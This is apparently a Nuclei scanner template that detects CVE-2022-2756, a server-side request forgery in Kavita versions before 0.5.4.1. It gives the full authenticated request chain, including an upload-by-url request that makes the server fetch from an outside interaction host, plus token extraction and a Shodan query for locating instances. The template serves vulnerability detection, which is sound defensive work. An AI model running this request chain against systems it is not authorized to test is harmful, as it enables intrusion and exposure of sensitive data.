83 lines
2.5 KiB
YAML
83 lines
2.5 KiB
YAML
id: CVE-2022-2756
|
|
|
|
info:
|
|
name: Kavita <0.5.4.1 - Server-Side Request Forgery
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
Kavita before 0.5.4.1 is susceptible to server-side request forgery in GitHub repository kareadita/kavita. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: Fixed in 0.5.4.1.
|
|
reference:
|
|
- https://huntr.dev/bounties/95e7c181-9d80-4428-aebf-687ac55a9216/
|
|
- https://github.com/kareadita/kavita
|
|
- https://github.com/kareadita/kavita/commit/9c31f7e7c81b919923cb2e3857439ec0d16243e4
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2756
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2022-2756
|
|
cwe-id: CWE-918
|
|
epss-score: 0.00724
|
|
epss-percentile: 0.7851
|
|
cpe: cpe:2.3:a:kavitareader:kavita:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: kavitareader
|
|
product: kavita
|
|
shodan-query: title:"kavita"
|
|
tags: ssrf,kavita,authenticated,huntr,cve,cve2022,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /api/account/login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/plain, */*
|
|
Content-Type: application/json
|
|
|
|
{"username":"{{username}}","password":"{{password}}"}
|
|
- |
|
|
POST /api/upload/upload-by-url HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/plain, */*
|
|
Authorization: Bearer {{token}}
|
|
Content-Type: application/json
|
|
|
|
{"url":"http://oast.me/#.png"}
|
|
- |
|
|
GET /api/image/cover-upload?filename=coverupload_{{filename}}.png HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Bearer {{token}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_3
|
|
words:
|
|
- Interactsh Server
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- image/png
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: token
|
|
group: 1
|
|
regex:
|
|
- '"token":"(.*?)"'
|
|
internal: true
|
|
|
|
- type: regex
|
|
name: filename
|
|
group: 1
|
|
regex:
|
|
- coverupload.(.*?).png
|
|
internal: true
|
|
# digest: 4a0a0047304502201cc0a8f4d34de7657f1b32594f623cdad002b70068a1f4845d95a3be7a64c0e5022100a2e60d45c6dd099cf0fd30bc3af0ff2ac6e7830a38eb93e7d4d07d235e2e867d:922c64590222798bb761d5b6d8e72950 |